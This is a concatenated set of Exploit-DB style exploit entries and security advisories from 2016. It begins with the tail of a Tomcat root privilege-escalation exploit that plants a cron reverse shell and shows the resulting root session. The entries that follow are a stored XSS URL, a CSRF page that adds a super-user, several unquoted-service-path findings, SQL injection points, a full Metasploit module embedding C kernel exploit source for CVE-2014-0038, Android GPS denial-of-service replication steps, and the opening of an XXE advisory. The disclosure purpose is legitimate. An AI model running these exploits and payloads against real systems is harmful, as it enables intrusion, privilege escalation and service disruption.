F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/127.0.0.1/9090 0<&1 2>&1 & \n\n"

[+] Payload injected! Wait for your root shell...

Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), 
the rootshell will be created in /usr/share/tomcat/rootsh. 
Additionally, a reverse shell should get executed by crond shortly after and connect to 127.0.0.1:9090 

-bash-4.2$ nc -l -p 9090
bash: no job control in this shell
[root@centos7 ~]# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023

[root@centos7 ~]# ls -l /usr/share/tomcat/rootsh
ls -l /usr/share/tomcat/rootsh
-rwsrwx---. 1 root root 960392 Aug  2 12:00 /usr/share/tomcat/rootsh
[root@centos7 ~]# 



VI. BUSINESS IMPACT
-------------------------

Attackers who have gained access to tomcat user account or the ability to
write files as tomcat user could escalate their privileges to root and fully 
compromise the affected system.

As explained in section IV., the vulnerability could potentially get exploited
by remote attackers in combination with certain web application vulnerabilities
to achieve command execution without prior shell access.

 
VII. SYSTEMS AFFECTED
-------------------------

Multiple versions of Tomcat packages on RedHat-based systems are affected.

The vulnerability was confirmed on Tomcat installed from default repositories
on the following systems:

- CentOS
- Fedora
- Oracle Linux
- RedHat

Refer to information provided by your distribution to obtain an exact list
of vulnerable packages.


Detailes provided by RedHat can be found at:

https://access.redhat.com/security/cve/CVE-2016-5425
 

VIII. SOLUTION
-------------------------

Adjust permissions on /usr/lib/tmpfiles.d/tomcat.conf file to remove write
permission for the tomcat group.

Alternatively, update to the latest packages provided by your distribution.
Confirm the file permissions after the update.

 
IX. REFERENCES
-------------------------

http://legalhackers.com

http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html

The source code of the exploit (tomcat-RH-root.sh) can be downloaded from:
http://legalhackers.com/exploits/tomcat-RH-root.sh

CVE-2016-5425
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425

https://access.redhat.com/security/cve/CVE-2016-5425


X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
 
XI. REVISION HISTORY
-------------------------

10.10.2016 - Advisory released
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
            
# Exploit Title :              PHP Press Release* - Stored Cross Site
Scripting*
# Author :                     Besim
# Google Dork :                 -
# Date :                       09/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.pagereactions.com/product.php?pku=1
# Software link :
 http://www.pagereactions.com/downloads/phppressrelease.zip


Description : 

Vulnerable link :
http://site_name/phppressrelease/administration.php?pageaction=newrelease

Stored XSS Payload : 

http://www.site_name/phppressrelease/administration.php?pageaction=saverelease&subaction=submit&dateday=&datemonthnewedit=&dateyearnewedit=&title=<script>alert('Exploit-DB')<%2Fscript>&summary=deneme&releasebody=deneme&categorynewedit=1&publish=active
            
# Exploit Title :              PHP Press Release - Cross-Site Request Forgery (Add Admin - Super User )
# Author :                     Besim
# Google Dork :                 -
# Date :                       09/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.pagereactions.com/product.php?pku=1
 Software link :
 http://www.pagereactions.com/downloads/phppressrelease.zip



########################### CSRF PoC ###############################


<html>
  <!-- CSRF PoC  -->
  <body>
    <form action="http://sitename/phppressrelease/administration.php" method="POST">
      <input type="hidden" name="pageaction" value="saveuser" />
      <input type="hidden" name="subaction" value="submit" />
      <input type="hidden" name="username" value="murat" />
      <input type="hidden" name="password" value="murat" />
      <input type="hidden" name="userfullname" value="murat&#32;tester" />
      <input type="hidden" name="accesslevel" value="Super" />
      <input type="hidden" name="userstatus" value="active" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      *document.forms[0].submit();*
    </script>
  </body>
</html>

####################################################################
            
Foxit Cloud Update Service: 	https://www.foxitsoftware.com
By Ross Marks:    	  			http://www.rossmarks.co.uk
Exploit-db:         			https://www.exploit-db.com/author/?a=8724
Category:           			Local
Tested on:          			Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Foxit reader's "cloud safe update service" installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\>sc qc FoxitCloudUpdateService
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: FoxitCloudUpdateService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\FOXIT SOFTWARE\FOXIT READER\Foxit Cloud\FCUpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Foxit Cloud Safe Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
Wacom Consumer Service: 	http://www.wacom.com
By Ross Marks:      		http://www.rossmarks.co.uk
Exploit-db:         		https://www.exploit-db.com/author/?a=8724
Category:           		Local
Tested on:          		Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Wacom's "Wacom Consumer Service" installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\>sc qc WTabletServiceCon
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: WTabletServiceCon
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Tablet\Pen\WtabletServiceCon.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wacom Consumer Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
Leap service: 		https://www.leapmotion.com/
By Ross Marks:      http://www.rossmarks.co.uk
Exploit-db:         https://www.exploit-db.com/author/?a=8724
Category:           Local
Tested on:          Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Leap motion's "LeapService" installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\>sc qc LeapService
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: leapService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Leap Motion\Core Services\LeapSvc64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Leap Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
Fitbit Connect Service: https://www.fitbit.com/
By Ross Marks:          http://www.rossmarks.co.uk
Exploit-db:             https://www.exploit-db.com/author/?a=8724
Category:               Local
Tested on:              Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Fitbit connect installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\>sc qc "Fitbit Connect"
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: Fitbit Connect
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Fitbit Connect\FitbitConnectService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Fitbit Connect Service
        DEPENDENCIES       :
        SERVICE_START_NAME : NT AUTHORITY\NetworkService
            
# Exploit Title: OpenCimetiere v3.0.0-a5 | Blind SQL Injection
# Date: 06/08/16
# Exploit Author: Wad Deek
# Vendor Homepage: http://www.openmairie.org/
# Software Link: http://www.openmairie.org/catalogue/opencimetiere/
# Version: 3.0.0-a5
+>3.0.0-a5<+ --> /opencimetiere/HISTORY.txt
# Tested on: Xampp with PostgreSQL on Windows 7
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools

################################################################
[SQL Injection (Type: AND/OR time-based blind)]
################################################################
[Database] opencimetiere
[Table] om_utilisateur
[Columns] login,pwd
{POST} "/opencimetiere/scr/login.php", "login.action.connect=Se%20connecter&came_from=&login=[SQLi]&password=paSSw0rd"
################################################################
            
# Exploit Title: NetBilletterie 2.8 | Multiple Vulnerabilities
# Date: 14/07/16
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Vendor Homepage: http://net-billetterie.tuxfamily.org/
# Software Link: https://sourceforge.net/projects/netbilletterie/files/
# Demo Link: http://net-billetterie.tuxfamily.org/NetBilletterieDemo/login.inc.php
# Version: 2.8
# Tested on: Xampp on Windows7
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools

[phpinfo()]
################################################################
(200) => http://localhost/netbilletterie/php_info.php
################################################################

[6 SQL Injection (Type: time-based blind)]
################################################################
(200) => http://localhost/netbilletterie/lister_detail_bon.php?date_debut=*
(200) => http://localhost/netbilletterie/lister_pointes_ok.php?date_debut=*
(302) => http://localhost/netbilletterie/delete_article.php?article=*
(302) => http://localhost/netbilletterie/delete_banque.php?id_banque=*
(302) => http://localhost/netbilletterie/delete_tarif.php?id_tarif=*
(302) => http://localhost/netbilletterie/del_client.php?num=*
################################################################

[2 SQL Injection (Type: boolean-based blind)]
################################################################
(200) => http://localhost/netbilletterie/fpdf/liste_spectateurs.php?article=*
(200) => http://localhost/netbilletterie/fpdf/liste_spectateurs_attente.php?article=*
################################################################
            
#########################################################################
# Exploit Title: sheed AntiVirus Unquoted Service Path Privilege Escalation
# Date: 11/10/2016
# Author: Amir.ght
# Vendor Homepage: http://sheedantivirus.ir/
# Software Link:http://dl.sheedantivirus.ir/setup.exe
#version : 2.3  (Latest)
# Tested on: Windows 7
##########################################################################

sheed AntiVirus installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc ShavProt
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ShavProt
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\Sheed AntiVirus\shgrprot.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ShavProt
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
          system call with a crafted timeout pointer parameter to gain root.
          This exploit has offsets for 3 Ubuntu 13 kernels built in:
          3.8.0-19-generic (13.04 default)
          3.11.0-12-generic (13.10 default)
          3.11.0-15-generic (13.10)
          This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
          pointer which starts at 0xff*3 (765 seconds)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@shorebreaksecurity.com>',  # Module
            'rebel'                         # Discovery
          ],
        'DisclosureDate' => 'Feb 2 2014',
        'Platform'       => [ 'linux'],
        'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
          [
            [ 'Auto', { } ]
          ],
        'DefaultTarget'  => 0,
        'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
        'References'     =>
          [
            [ 'EDB', '31347'],
            [ 'EDB', '31346'],
            [ 'CVE', '2014-0038'],
            [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
          ]
      ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
      ], self.class)
  end

  def check
    def kernel_vuln?()
      os_id = cmd_exec('grep ^ID= /etc/os-release')
      if os_id == 'ID=ubuntu'
        kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
        case kernel.release.to_s
        when '3.11.0'
          if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
            vprint_good("Kernel #{kernel} is exploitable")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
            return false
          end
        when '3.8.0'
          if kernel == Gem::Version.new('3.8.0-19-generic')
            vprint_good("Kernel #{kernel} is exploitable")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
            return false
          end
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      else
        print_error("Unknown OS: #{os_id}")
        return false
      end
    end

    if kernel_vuln?()
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end


    # direct copy of code from exploit-db.  I removed a lot of the comments in the title area just to cut down on size

    recvmmsg = %q{
      /*
      *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
      recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
      CVE-2014-0038 / x32 ABI with recvmmsg
      by rebel @ irc.smashthestack.org
      -----------------------------------
      */

      #define _GNU_SOURCE
      #include <netinet/ip.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <sys/socket.h>
      #include <unistd.h>
      #include <sys/syscall.h>
      #include <sys/mman.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <fcntl.h>
      #include <sys/utsname.h>

      #define __X32_SYSCALL_BIT 0x40000000
      #undef __NR_recvmmsg
      #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
      #define VLEN 1
      #define BUFSIZE 200

      int port;

      struct offset {
          char *kernel_version;
          unsigned long dest; // net_sysctl_root + 96
          unsigned long original_value; // net_ctl_permissions
          unsigned long prepare_kernel_cred;
          unsigned long commit_creds;
      };

      struct offset offsets[] = {
          {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
          {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
          {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
          {NULL,0,0,0,0}
      };

      void udp(int b) {
          int sockfd;
          struct sockaddr_in servaddr,cliaddr;
          int s = 0xff+1;

          if(fork() == 0) {
              while(s > 0) {
                  fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
                  sleep(1);
                  s--;
                  fprintf(stderr,".");
              }

              sockfd = socket(AF_INET,SOCK_DGRAM,0);
              bzero(&servaddr,sizeof(servaddr));
              servaddr.sin_family = AF_INET;
              servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
              servaddr.sin_port=htons(port);
              sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
              exit(0);
          }

      }

      void trigger() {
          open("/proc/sys/net/core/somaxconn",O_RDONLY);

          if(getuid() != 0) {
              fprintf(stderr,"not root, ya blew it!\n");
              exit(-1);
          }

          fprintf(stderr,"w00p w00p!\n");
          system("/bin/sh -i");
      }

      typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
      typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
      _commit_creds commit_creds;
      _prepare_kernel_cred prepare_kernel_cred;

      // thx bliss
      static int __attribute__((regparm(3)))
      getroot(void *head, void * table)
      {
          commit_creds(prepare_kernel_cred(0));
          return -1;
      }

      void __attribute__((regparm(3)))
      trampoline()
      {
          asm("mov $getroot, %rax; call *%rax;");
      }

      int main(void)
      {
          int sockfd, retval, i;
          struct sockaddr_in sa;
          struct mmsghdr msgs[VLEN];
          struct iovec iovecs[VLEN];
          char buf[BUFSIZE];
          long mmapped;
          struct utsname u;
          struct offset *off = NULL;

          uname(&u);

          for(i=0;offsets[i].kernel_version != NULL;i++) {
              if(!strcmp(offsets[i].kernel_version,u.release)) {
                  off = &offsets[i];
                  break;
              }
          }

          if(!off) {
              fprintf(stderr,"no offsets for this kernel version..\n");
              exit(-1);
          }

          mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
          mmapped &= 0x000000ffffffffff;

              srand(time(NULL));
          port = (rand() % 30000)+1500;

          commit_creds = (_commit_creds)off->commit_creds;
          prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

          mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

          if(mmapped == -1) {
              perror("mmap()");
              exit(-1);
          }

          memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

          memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

          if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
              perror("mprotect()");
              exit(-1);
          }

          sockfd = socket(AF_INET, SOCK_DGRAM, 0);
          if (sockfd == -1) {
              perror("socket()");
              exit(-1);
          }

          sa.sin_family = AF_INET;
          sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
          sa.sin_port = htons(port);

          if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
              perror("bind()");
              exit(-1);
          }

          memset(msgs, 0, sizeof(msgs));

          iovecs[0].iov_base = &buf;
          iovecs[0].iov_len = BUFSIZE;
          msgs[0].msg_hdr.msg_iov = &iovecs[0];
          msgs[0].msg_hdr.msg_iovlen = 1;

          for(i=0;i < 3 ;i++) {
              udp(i);
              retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
              if(!retval) {
                  fprintf(stderr,"\nrecvmmsg() failed\n");
              }
          }

          close(sockfd);
          fprintf(stderr,"\n");
          trigger();
      }
    }

    filename = rand_text_alphanumeric(8)
    executable_path = "#{datastore['WritableDir']}/#{filename}"
    payloadname = rand_text_alphanumeric(8)
    payload_path = "#{datastore['WritableDir']}/#{payloadname}"

    def has_prereqs?()
      gcc = cmd_exec('which gcc')
      if gcc.include?('gcc')
        vprint_good('gcc is installed')
      else
        print_error('gcc is not installed.  Compiling will fail.')
      end
      return gcc.include?('gcc')
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def upload_and_chmod(fname,fcontent)
      print_status "Writing to #{fname} (#{fcontent.size} bytes)"
      rm_f fname
      write_file(fname, fcontent)
      cmd_exec("chmod +x #{fname}")
      register_file_for_cleanup(fname)
    end

    if compile
      recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,
                          "system(\"#{payload_path}\");")
      upload_and_chmod("#{executable_path}.c", recvmmsg)
      vprint_status("Compiling #{executable_path}.c")
      cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
      register_file_for_cleanup(executable_path)
    else
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
      fd = ::File.open( path, "rb")
      recvmmsg = fd.read(fd.stat.size)
      fd.close
      upload_and_chmod(executable_path, recvmmsg)
      # overwrite with the hardcoded variable names in the compiled versions
      payload_filename = 'a0RwAacU'
      payload_path = "/tmp/#{payload_filename}"
    end

    upload_and_chmod(payload_path, generate_payload_exe)
    stime = Time.now
    vprint_status("Exploiting... May take 13min.  Start time: #{stime}")
    output = cmd_exec(executable_path)
    output.each_line { |line| vprint_status(line.chomp) }
  end
end
            
Original at:
https://wwws.nightwatchcybersecurity.com/2016/10/04/advisory-cve-2016-5348-2/

Summary

Android devices can be crashed remotely forcing a halt and then a soft
reboot by a MITM attacker manipulating assisted GPS/GNSS data provided
by Qualcomm. This issue affects the open source code in AOSP and
proprietary code in a Java XTRA downloader provided by Qualcomm. The
Android issue was fixed by in the October 2016 Android bulletin.
Additional patches have been issued by Qualcomm to the proprietary
client in September of 2016. This issue may also affect other
platforms that use Qualcomm GPS chipsets and consume these files but
that has not been tested by us, and requires further research.

Background – GPS and gpsOneXtra

Most mobile devices today include ability to locate themselves on the
Earth’s surface by using the Global Positioning System (GPS), a system
originally developed and currently maintained by the US military.
Similar systems developed and maintained by other countries exist as
well including Russia’s GLONASS, Europe’s Galileo, and China’s Beidou.
The GPS signals include an almanac which lists orbit and status
information for each of the satellites in the GPS constellation. This
allows the receivers to acquire the satellites quicker since the
receiver would not need to search blindly for the location of each
satellite. Similar functionality exists for other GNSS systems. In
order to solve the problem of almanac acquisition, Qualcomm developed
the gpsOneXtra system in 2007 (also known as IZat XTRA Assistance
since 2013). This system provides ability to GPS receivers to download
the almanac data over the Internet from Qualcomm-operated servers. The
format of these XTRA files is proprietary but seems to contain current
satellite location data plus estimated locations for the next 7 days,
as well as additional information to improve signal acquisition. Most
Qualcomm mobile chipsets and GPS chips include support for this
technology. A related Qualcomm technology called IZat adds ability to
use WiFi and cellular networks for locations in addition to GPS.

Background – Android and gpsOneXtra Data Files

During our network monitoring of traffic originating from an Android
test device, we discovered that the device makes periodic calls to the
Qualcomm servers to retrieve gpsOneXtra assistance files. These
requests were performed almost every time the device connected to a
WiFi network. As discovered by our research and confirmed by the
Android source code, the following URLs were used:

http://xtra1.gpsonextra.net/xtra.bin
http://xtra2.gpsonextra.net/xtra.bin
http://xtra3.gpsonextra.net/xtra.bin

http://xtrapath1.izatcloud.net/xtra2.bin
http://xtrapath2.izatcloud.net/xtra2.bin
http://xtrapath3.izatcloud.net/xtra2.bin

WHOIS record show that both domains – gpsonextra.net and izatcloud.net
are owned by Qualcomm. Further inspection of those URLs indicate that
both domains are being hosted and served from Amazon’s Cloudfront CDN
service (with the exception of xtra1.gpsonextra.net which is being
served directly by Qualcomm). On the Android platform, our inspection
of the Android source code shows that the file is requested by an
OS-level Java process (GpsXtraDownloader.java), which passes the data
to a C++ JNI class
(com_android_server_location_GnssLocationProvider.cpp), which then
injects the files into the Qualcomm modem or firmware. We have not
inspected other platforms in detail, but suspect that a similar
process is used. Our testing was performed on Android v6.0, patch
level of January 2016, on a Motorola Moto G (2nd gen) GSM phone, and
confirmed on a Nexus 6P running Android v6.01, with May 2016 security
patches. Qualcomm has additionally performed testing on their
proprietary Java XTRA downloader client confirming this vulnerability.

Vulnerability Details

Android platform downloads XTRA data files automatically when
connecting to a new network. This originates from a Java class
(GpsXtraDownloader.java), which then passes the file to a C++/JNI
class (com_android_server_location_GnssLocationProvider.cpp) and then
injects it into the Qualcomm modem.

The vulnerability is that both the Java and the C++ code do not check
how large the data file actually is. If a file is served that is
larger than the memory available on the device, this results in all
memory being exhausted and the phone halting and then soft rebooting.
The soft reboot was sufficient to recover from the crash and no data
was lost. While we have not been able to achieve remote code execution
in either the Qualcomm modem or in the Android OS, this code path can
potentially be exploited for such attacks and would require more
research.

To attack, an MITM attacker located anywhere on the network between
the phone being attacked and Qualcomm’s servers can initiate this
attack by intercepting the legitimate requests from the phone, and
substituting their own, larger files. Because the default Chrome
browser on Android reveals the model and build of the phone (as we
have written about earlier), it would be possible to derive the
maximum memory size from that information and deliver the
appropriately sized attack file. Possible attackers can be hostile
hotspots, hacked routers, or anywhere along the backbone. This is
somewhat mitigated by the fact that the attack file would need to be
as large as the memory on the phone.

The vulnerable code resides here – (GpsXtraDownloader.java, lines 120-127):

connection.connect()
int statusCode = connection.getResponseCode();
if (statusCode != HttpURLConnection.HTTP_OK) {
if (DEBUG) Log.d(TAG, “HTTP error downloading gps XTRA: “ + statusCode);
return null;
}
return Streams.readFully(connection.getInputStream());

Specifically, the affected code is using Streams.readFully to read the
entire file into memory without any kind of checks on how big the file
actually is.

Additional vulnerable code is also in the C++ layer –
(com_android_server_location_GnssLocationProvider.cpp, lines 856-858):

jbyte* bytes = (jbyte *)env->GetPrimitiveArrayCritical(data, 0);
sGpsXtraInterface->inject_xtra_data((char *)bytes, length);
env->ReleasePrimitiveArrayCritical(data, bytes, JNI_ABORT);

Once again, no size checking is done. We were able to consistently
crash several different Android phones via a local WiFi network with
the following error message:

java.lang.OutOfMemoryError: Failed to allocate a 478173740 byte
allocation with 16777216 free bytes and 252MB until OOM
at java.io.ByteArrayOutputStream.expand(ByteArrayOutputStream.java:91)

(It should be noted that we were not able to consistently and reliable
achieve a crash in the C++/JNI layer or the Qualcomm modem itself)

Steps To Replicate (on Ubuntu 16.04)
1. Install DNSMASQ:
sudo apt-get install dnsmasq

2. Install NGINX:
sudo apt-get install nginx

3. Modify the /etc/hosts file to add the following entries to map to
the IP of the local computer (varies by vendor of the phone):
192.168.1.x xtra1.gpsonextra.net
192.168.1.x xtra2.gpsonextra.net
192.168.1.x xtra3.gpsonextra.net
192.168.1.x xtrapath1.izatcloud.net
192.168.1.x xtrapath2.izatcloud.net
192.168.1.x xtrapath3.izatcloud.net

4. Configure /etc/dnsmasq.conf file to listed on the IP:
listen-address=192.168.1.x

5. Restart DNSMASQ:
sudo /etc/init.d/dnsmasq restart

6. Use fallocate to create the bin files in “/var/www/html/”
sudo fallocate -s 2.5G xtra.bin
sudo fallocate -s 2.5G xtra2.bin
sudo fallocate -s 2.5G xtra3.bin

7. Modify the settings on the Android test phone to static, set DNS to
point to “192.168.1.x”. AT THIS POINT – Android will resolve DNS
against the local computer, and serve the GPS files from it.

To trigger the GPS download, disable WiFi and enable Wifi, or
enable/disable Airplane mode. Once the phone starts downloading the
files, the screen will go black and it will reboot.

PLEASE NOTE: on some models, the XTRA file is cached and not retrieved
on every network connect. For those models, you may need to reboot the
phone and/or follow the injection commands as described here. You can
also use an app like GPS Status and ToolboxGPS Status and Toolbox.

The fix would be to check for file sizes in both Java and native C++ code.

Mitigation Steps

For the Android platform, users should apply the October 2016 Android
security bulletin and any patches provided by Qualcomm. Please note
that as per Qualcomm, the patches for this bug only include fixes to
the Android Open Source Project (AOSP) and the Qualcomm Java XTRA
downloader clients. Apple and Microsoft have indicated to us via email
that GPS-capable devices manufactured by them including iPad, iPhones,
etc. and Microsoft Surface and Windows Phone devices are not affected
by this bug. Blackberry devices powered by Android are affected but
the Blackberry 10 platform is not affected by this bug. For other
platforms, vendors should follow guidance provided by Qualcomm
directly via an OEM bulletin.

Bounty Information

This bug has fulfilled the requirements for Google’s Android Security
Rewards and a bounty has been paid.

References

Android security bulletin: October 2016
CERT/CC tracking: VR-179
CVE-ID: CVE-2016-5348
Google: Android bug # 213747 / AndroidID-29555864

CVE Information

As provided by Qualcomm:

CVE: CVE-2016-5348
Access Vector: Network
Security Risk: High
Vulnerability: CWE-400: Uncontrolled Resource Consumption (‘Resource
Exhaustion’)
Description: When downloading a very large assistance data file, the
client may crash due to out of memory error.
Change summary:

check download size ContentLength before downloading data
catch OOM exception

Credits

We would like to thank CERT/CC for helping to coordinate this process,
and all of the vendors involved for helpful comments and a quick
turnaround. This bug was discovered by Yakov Shafranovich, and the
advisory was also written by Yakov Shafranovich.

Timeline

201606-20: Android bug report filed with Google
2016-06-21: Android bug confirmed
2016-06-21: Bug also reported to Qualcomm and CERT.
2016-09-14: Coordination with Qualcomm on public disclosure
2016-09-15: Coordination with Google on public disclosure
2016-10-03: Android security bulletin released with fix
2016-10-04: Public disclosure
            
SEC Consult Vulnerability Lab Security Advisory < 20161011-0 >
=======================================================================
              title: XML External Entity Injection (XXE)
            product: RSA Enterprise Compromise Assessment Tool (ECAT)
 vulnerable version: 4.1.0.1
      fixed version: 4.1.2.0
         CVE Number: -
             impact: Medium
           homepage: https://www.rsa.com
              found: 2016-04-27
                 by: Samandeep Singh (Office Singapore)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Montreal - Moscow
                     Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"RSA provides more than 30,000 customers around the world with the essential
security capabilities to protect their most valuable assets from cyber threats.
With RSA's  award-winning products, organizations effectively detect,
investigate, and respond to advanced attacks; confirm and manage identities; and
